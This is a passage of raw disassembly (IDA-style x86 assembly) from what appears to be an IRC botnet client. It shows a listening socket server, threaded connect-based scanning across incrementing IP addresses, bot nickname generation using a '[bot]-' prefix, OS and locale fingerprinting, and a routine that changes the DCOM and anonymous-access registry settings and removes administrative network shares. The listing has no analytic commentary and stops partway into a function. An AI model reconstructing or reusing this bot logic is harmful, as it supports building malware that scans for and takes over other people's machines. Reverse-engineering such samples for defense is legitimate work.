		call	ds:dword_424054	; ExitThread

loc_41579E:				; CODE XREF: sub_41570C+67j
		push	ebx
		push	10h
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_20], 2
		push	[ebp+var_50]
		call	ds:dword_43F668	; htons
		push	6
		push	edi
		push	2
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], esi
		call	ds:dword_43F6E8	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_415915
		mov	eax, [ebp+var_4C]
		push	10h
		imul	eax, 234h
		mov	ds:dword_4450CC[eax], ebx
		lea	eax, [ebp+var_20]
		push	eax
		push	ebx
		call	ds:dword_43F694	; bind
		test	eax, eax
		jnz	loc_415915
		push	7FFFFFFFh
		push	ebx
		call	ds:dword_43F690	; listen
		test	eax, eax
		jnz	loc_415915
		push	offset dword_438AC8
		mov	[ebp+var_10], 0Ch
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		call	sub_40BF6D
		pop	ecx
		mov	[ebp+arg_0], edi

loc_41582D:				; CODE XREF: sub_41570C+15Aj
					; sub_41570C+1E4j
		lea	eax, [ebp+var_4]
		mov	[ebp+var_4], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	ebx
		call	ds:dword_43F6FC	; accept
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	loc_415918
		push	[ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	eax
		push	8
		push	0FFFFh
		push	edi
		call	ds:dword_43F648	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41582D
		movzx	eax, [ebp+var_32]
		push	[ebp+var_4C]
		mov	[ebp+var_38], esi
		push	eax
		push	[ebp+var_30]
		call	ds:dword_43F6F4	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_414]
		push	offset dword_438A74
		push	eax
		call	sub_4172AE
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_40BF6D
		push	edi
		lea	eax, [ebp+var_414]
		push	6
		push	eax
		call	sub_416D5A
		mov	[ebp+var_48], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_4C]
		add	esp, 24h
		mov	ds:dword_4450C4[eax], ecx
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_214]
		push	esi
		push	eax
		push	offset sub_41547E
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	ds:dword_4240A0	; CreateThread
		mov	ecx, [ebp+var_48]
		imul	ecx, 234h
		cmp	eax, esi
		mov	ds:dword_4450D4[ecx], eax
		jz	short loc_415900

loc_4158ED:				; CODE XREF: sub_41570C+1F2j
		cmp	[ebp+var_38], esi
		jnz	loc_41582D
		push	32h
		call	ds:dword_424064	; Sleep
		jmp	short loc_4158ED
; ---------------------------------------------------------------------------

loc_415900:				; CODE XREF: sub_41570C+1DFj
		call	ds:dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_438A28
		call	sub_40BFE1
		pop	ecx
		pop	ecx
		jmp	short loc_415918
; ---------------------------------------------------------------------------

loc_415915:				; CODE XREF: sub_41570C+C8j
					; sub_41570C+ECj ...
		mov	edi, [ebp+arg_0]

loc_415918:				; CODE XREF: sub_41570C+13Cj
					; sub_41570C+207j
		call	ds:dword_43F5FC	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_414]
		push	offset dword_4389E4
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		cmp	[ebp+var_3C], esi
		jnz	short loc_415958
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_40]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		push	[ebp+var_214]
		call	sub_40D679
		add	esp, 14h

loc_415958:				; CODE XREF: sub_41570C+22Aj
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	edi
		call	ds:dword_43F700	; closesocket
		push	ebx
		call	ds:dword_43F700	; closesocket
		call	ds:dword_43F5C8	; WSACleanup
		push	[ebp+var_4C]
		call	sub_417076
		pop	ecx
		push	esi
		call	ds:dword_424054	; ExitThread
		pop	ebx

loc_41598A:				; DATA XREF: sub_41570C+5Ao
		xor	eax, eax
		cmp	[esp+5E0h+var_5DC], eax
		setz	al
		retn
sub_41570C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_415994	proc near		; CODE XREF: sub_415CFF+49p
					; DATA XREF: _2:off_438BB0o

var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	ds:dword_424058	; GetTickCount
		push	eax
		call	sub_417300
		mov	edi, [esp+0Ch+arg_0]
		mov	[esp+0Ch+var_C], offset	aBot ; "[bot]-"
		push	offset aS_3	; "%s"
		push	1Ch
		push	edi
		call	sub_41782A
		xor	esi, esi
		add	esp, 10h
		cmp	ds:dword_42F5C8, esi
		jle	short loc_4159ED

loc_4159C7:				; CODE XREF: sub_415994+57j
		call	sub_41730A
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_438C04
		push	1Ch
		push	edi
		call	sub_41782A
		add	esp, 14h
		inc	esi
		cmp	esi, ds:dword_42F5C8
		jl	short loc_4159C7

loc_4159ED:				; CODE XREF: sub_415994+31j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_415994	endp


; =============== S U B	R O U T	I N E =======================================



sub_4159F2	proc near		; CODE XREF: sub_40EE72+3E7Fp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		call	ds:dword_424058	; GetTickCount
		push	eax
		call	sub_417300
		pop	ecx
		call	sub_41730A
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, ds:dword_42F5C8
		test	esi, esi
		jle	short loc_415A35

loc_415A1F:				; CODE XREF: sub_4159F2+41j
		call	sub_41730A
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_415A1F

loc_415A35:				; CODE XREF: sub_4159F2+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_4159F2	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		call	ds:dword_424058	; GetTickCount
		push	eax
		call	sub_417300
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset byte_438C0C
		push	eax
		push	esi
		call	ds:dword_424154	; GetComputerNameA
		movsx	eax, ds:byte_438C0C
		push	41h
		pop	ecx
		push	1
		pop	edx

loc_415A7B:				; CODE XREF: _0:00415A86j
		cmp	eax, ecx
		jnz	short loc_415A82
		mov	[ebp-4], edx

loc_415A82:				; CODE XREF: _0:00415A7Dj
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_415A7B
		push	61h
		pop	ecx

loc_415A8B:				; CODE XREF: _0:00415A96j
		cmp	eax, ecx
		jnz	short loc_415A92
		mov	[ebp-4], edx

loc_415A92:				; CODE XREF: _0:00415A8Dj
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_415A8B
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_41782A
		xor	esi, esi
		add	esp, 0Ch
		cmp	ds:dword_42F5C8, esi
		jle	short loc_415AD7

loc_415AB1:				; CODE XREF: _0:00415AD5j
		call	sub_41730A
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_438C04
		push	1Ch
		push	edi
		call	sub_41782A
		add	esp, 14h
		inc	esi
		cmp	esi, ds:dword_42F5C8
		jl	short loc_415AB1

loc_415AD7:				; CODE XREF: _0:00415AAFj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		call	ds:dword_424058	; GetTickCount
		push	eax
		call	sub_417300
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		call	ds:dword_424178	; GetLocaleInfoA
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_438C10
		push	1Ch
		push	edi
		call	sub_41782A
		xor	esi, esi
		add	esp, 10h
		cmp	ds:dword_42F5C8, esi
		jle	short loc_415B4C

loc_415B26:				; CODE XREF: _0:00415B4Aj
		call	sub_41730A
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_438C04
		push	1Ch
		push	edi
		call	sub_41782A
		add	esp, 14h
		inc	esi
		cmp	esi, ds:dword_42F5C8
		jl	short loc_415B26

loc_415B4C:				; CODE XREF: _0:00415B24j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset byte_43C80C
		mov	dword ptr [ebp-94h], 94h
		call	ds:dword_424144	; GetVersionExA
		call	ds:dword_424058	; GetTickCount
		push	eax
		call	sub_417300
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_415BD6
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_415BB6
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_415BA6
		mov	esi, offset a95	; "95"

loc_415BA6:				; CODE XREF: _0:00415B9Fj
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_415C12
		mov	esi, offset aNt	; "NT"
		jmp	short loc_415C12
; ---------------------------------------------------------------------------

loc_415BB6:				; CODE XREF: _0:00415B96j
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_415BC6
		mov	esi, offset a98	; "98"
		jmp	short loc_415C12
; ---------------------------------------------------------------------------

loc_415BC6:				; CODE XREF: _0:00415BBDj
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_415C0D
		mov	esi, offset aMe	; "ME"
		jmp	short loc_415C12
; ---------------------------------------------------------------------------

loc_415BD6:				; CODE XREF: _0:00415B8Dj
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_415C0D
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_415BEF
		mov	esi, offset a2k	; "2K"
		jmp	short loc_415C12
; ---------------------------------------------------------------------------

loc_415BEF:				; CODE XREF: _0:00415BE6j
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_415BFF
		mov	esi, offset aXp	; "XP"
		jmp	short loc_415C12
; ---------------------------------------------------------------------------

loc_415BFF:				; CODE XREF: _0:00415BF6j
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_438C1C
		jz	short loc_415C12

loc_415C0D:				; CODE XREF: _0:00415BCDj _0:00415BDDj
		mov	esi, offset dword_42DDDC

loc_415C12:				; CODE XREF: _0:00415BADj _0:00415BB4j ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_438C14
		push	1Ch
		push	edi
		call	sub_41782A
		xor	esi, esi
		add	esp, 10h
		cmp	ds:dword_42F5C8, esi
		jle	short loc_415C56

loc_415C30:				; CODE XREF: _0:00415C54j
		call	sub_41730A
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_438C04
		push	1Ch
		push	edi
		call	sub_41782A
		add	esp, 14h
		inc	esi
		cmp	esi, ds:dword_42F5C8
		jl	short loc_415C30

loc_415C56:				; CODE XREF: _0:00415C2Ej
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415C5C	proc near		; CODE XREF: sub_415CFF+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		call	ds:dword_424058	; GetTickCount
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_415CAB
		call	ds:dword_43F674	; FindWindowA
		test	eax, eax
		mov	eax, offset dword_438C28
		jnz	short loc_415C94
		mov	eax, offset byte_43C80C

loc_415C94:				; CODE XREF: sub_415C5C+31j
		push	eax
		push	esi
		push	offset dword_438C20
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_41782A
		add	esp, 14h
		jmp	short loc_415CCB
; ---------------------------------------------------------------------------

loc_415CAB:				; CODE XREF: sub_415C5C+22j
		call	ds:dword_43F674	; FindWindowA
		test	eax, eax
		mov	eax, offset dword_438C28
		jnz	short loc_415CBF
		mov	eax, offset byte_43C80C

loc_415CBF:				; CODE XREF: sub_415C5C+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx

loc_415CCB:				; CODE XREF: sub_415C5C+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_417AB0
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_415CFA
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_418DE0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_418C10
		add	esp, 18h

loc_415CFA:				; CODE XREF: sub_415C5C+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_415C5C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415CFF	proc near		; CODE XREF: sub_40EB92+7Fp
					; sub_40ECFA+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_438BAC

loc_415D0B:				; CODE XREF: sub_415CFF+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_415D26
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_4176D0
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_415D30
; ---------------------------------------------------------------------------

loc_415D26:				; CODE XREF: sub_415CFF+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al

loc_415D30:				; CODE XREF: sub_415CFF+25j
		test	eax, eax
		jnz	short loc_415D42
		add	esi, 14h
		inc	edi
		cmp	esi, offset dword_438C10
		jb	short loc_415D0B
		jmp	short loc_415D50
; ---------------------------------------------------------------------------

loc_415D42:				; CODE XREF: sub_415CFF+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	ds:off_438BB0[eax*4]
		pop	ecx

loc_415D50:				; CODE XREF: sub_415CFF+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_415D63
		push	[ebp+arg_0]
		call	sub_415C5C
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_415D63:				; CODE XREF: sub_415CFF+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_415CFF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415D68	proc near		; DATA XREF: sub_415E35+7Bo

var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0B8h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_B8]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A4h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_34]
		call	ds:dword_43F668	; htons
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	ds:dword_43F6E8	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_415E26
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	ds:dword_43F610	; connect
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	ds:dword_4450CC[ecx], esi
		jz	short loc_415E26
		push	[ebp+var_34]
		push	[ebp+var_28]
		call	ds:dword_43F6F4	; inet_ntoa
		push	eax
		mov	edi, offset dword_489DE4
		push	offset unk_438C2C
		push	edi
		call	sub_4172AE
		push	0
		lea	eax, [ebp+var_B4]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_B8]
		call	sub_40D679
		push	edi
		call	sub_40BF6D
		add	esp, 28h

loc_415E26:				; CODE XREF: sub_415D68+5Dj
					; sub_415D68+7Ej
		push	esi
		call	ds:dword_43F700	; closesocket
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_415D68	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_415E35	proc near		; DATA XREF: sub_40EE72+35E0o

var_130		= byte ptr -130h
var_B0		= byte ptr -0B0h
var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 130h
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	2Ah
		mov	esi, ebx
		pop	ecx
		lea	edi, [ebp+var_B0]
		rep movsd
		mov	esi, ds:dword_424064
		mov	dword ptr [ebx+0A0h], 1
		xor	edi, edi

loc_415E63:				; CODE XREF: sub_415E35+ECj
		push	[ebp+var_2C]
		push	[ebp+var_20]
		call	ds:dword_43F6F4	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_130]
		push	offset unk_438C64
		push	eax
		call	sub_4172AE
		lea	eax, [ebp+var_130]
		push	1FFh
		push	eax
		mov	eax, [ebp+var_24]
		imul	eax, 234h
		add	eax, offset dword_444EC0
		push	eax
		call	sub_418C10
		add	esp, 1Ch
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_B0]
		push	edi
		push	eax
		push	offset sub_415D68
		push	edi
		push	edi
		call	ds:dword_4240A0	; CreateThread
		cmp	eax, edi
		mov	[ebp+var_4], eax
		jz	short loc_415ECF

loc_415EC4:				; CODE XREF: sub_415E35+98j
		cmp	[ebp+var_C], edi
		jnz	short loc_415ECF
		push	32h
		call	esi	; Sleep
		jmp	short loc_415EC4
; ---------------------------------------------------------------------------

loc_415ECF:				; CODE XREF: sub_415E35+8Dj
					; sub_415E35+92j
		push	[ebp+var_4]
		call	ds:off_424078
		push	dword ptr [ebx+88h]
		mov	[ebx+0A4h], edi
		call	esi	; Sleep
		lea	eax, [ebp+var_20]
		push	4
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_417390
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	ds:dword_43F59C	; htonl
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	ds:dword_43F664	; htonl
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_417390
		add	esp, 0Ch
		jmp	loc_415E63
sub_415E35	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F26	proc near		; DATA XREF: sub_40EE72+5F4Do

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_415F6D
		call	sub_415F86
		jmp	short loc_415F72
; ---------------------------------------------------------------------------

loc_415F6D:				; CODE XREF: sub_415F26+3Ej
		call	sub_4162AA

loc_415F72:				; CODE XREF: sub_415F26+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_417076
		pop	ecx
		push	0
		call	ds:dword_424054	; ExitThread
sub_415F26	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F86	proc near		; CODE XREF: sub_415F26+40p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	ds:dword_43F738, edi
		jnz	loc_4160B8
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	ds:dword_43F6D8	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_416011
		mov	ax, ds:word_439014
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	ds:dword_43F68C	; RegSetValueExA
		test	eax, eax
		jz	short loc_415FF3
		push	offset unk_438FD4
		jmp	short loc_415FF8
; ---------------------------------------------------------------------------

loc_415FF3:				; CODE XREF: sub_415F86+64j
		push	offset dword_438FA8

loc_415FF8:				; CODE XREF: sub_415F86+6Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	ds:dword_43F644	; RegCloseKey
		jmp	short loc_416024
; ---------------------------------------------------------------------------

loc_416011:				; CODE XREF: sub_415F86+36j
		lea	eax, [ebp+var_214]
		push	offset unk_438F68
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx

loc_416024:				; CODE XREF: sub_415F86+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_416043
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_416043:				; CODE XREF: sub_415F86+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40BF6D
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	ds:dword_43F6D8	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_4160B1
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	ds:dword_43F68C	; RegSetValueExA
		test	eax, eax
		jz	short loc_416093
		push	offset unk_438F08
		jmp	short loc_416098
; ---------------------------------------------------------------------------

loc_416093:				; CODE XREF: sub_415F86+104j
		push	offset unk_438EC4

loc_416098:				; CODE XREF: sub_415F86+10Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	ds:dword_43F644	; RegCloseKey
		jmp	short loc_4160CB
; ---------------------------------------------------------------------------

loc_4160B1:				; CODE XREF: sub_415F86+E2j
		push	offset unk_438E78
		jmp	short loc_4160BD
; ---------------------------------------------------------------------------

loc_4160B8:				; CODE XREF: sub_415F86+13j
		push	offset unk_438E38

loc_4160BD:				; CODE XREF: sub_415F86+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx

loc_4160CB:				; CODE XREF: sub_415F86+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_4160EA
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_4160EA:				; CODE XREF: sub_415F86+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40BF6D
		cmp	ds:dword_43F760, edi
		pop	ecx
		jnz	loc_416265
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi

loc_41610D:				; CODE XREF: sub_415F86+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	ds:dword_43F5B4
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_4161AA
		cmp	eax, 0EAh
		jz	short loc_4161AA
		mov	esi, offset off_438CA0

loc_41613E:				; CODE XREF: sub_415F86+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_40DCC3
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_416155
		push	offset unk_438E04
		jmp	short loc_41615A
; ---------------------------------------------------------------------------

loc_416155:				; CODE XREF: sub_415F86+1C6j
		push	offset unk_438DC8

loc_41615A:				; CODE XREF: sub_415F86+1CDj
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_41618D
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_41618D:				; CODE XREF: sub_415F86+1EBj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40BF6D
		add	esi, 8
		pop	ecx
		cmp	esi, offset dword_438CC0
		jb	short loc_41613E
		jmp	loc_416242
; ---------------------------------------------------------------------------

loc_4161AA:				; CODE XREF: sub_415F86+1AAj
					; sub_415F86+1B1j
		mov	esi, [ebp+var_8]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_416239

loc_4161B9:				; CODE XREF: sub_415F86+2AFj
		mov	edi, [esi]
		push	edi
		call	sub_41999C
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_41622E
		push	edi
		call	sub_40DBB0
		push	eax
		push	0
		call	sub_40DCC3
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_4161E8
		push	offset unk_438D94
		jmp	short loc_4161ED
; ---------------------------------------------------------------------------

loc_4161E8:				; CODE XREF: sub_415F86+259j
		push	offset unk_438D58

loc_4161ED:				; CODE XREF: sub_415F86+260j
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_416221
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_416221:				; CODE XREF: sub_415F86+27Fj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40BF6D
		pop	ecx

loc_41622E:				; CODE XREF: sub_415F86+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_4161B9
		xor	edi, edi

loc_416239:				; CODE XREF: sub_415F86+22Dj
		push	[ebp+var_8]
		call	ds:dword_43F6F8

loc_416242:				; CODE XREF: sub_415F86+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_41610D
		lea	eax, [ebp+var_214]
		push	offset unk_438D20
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_416278
; ---------------------------------------------------------------------------

loc_416265:				; CODE XREF: sub_415F86+177j
		lea	eax, [ebp+var_214]
		push	offset unk_438CE0
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx

loc_416278:				; CODE XREF: sub_415F86+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_416296
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_416296:				; CODE XREF: sub_415F86+2F5j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_415F86	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4162AA	proc near		; CODE XREF: sub_415F26:loc_415F6Dp

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
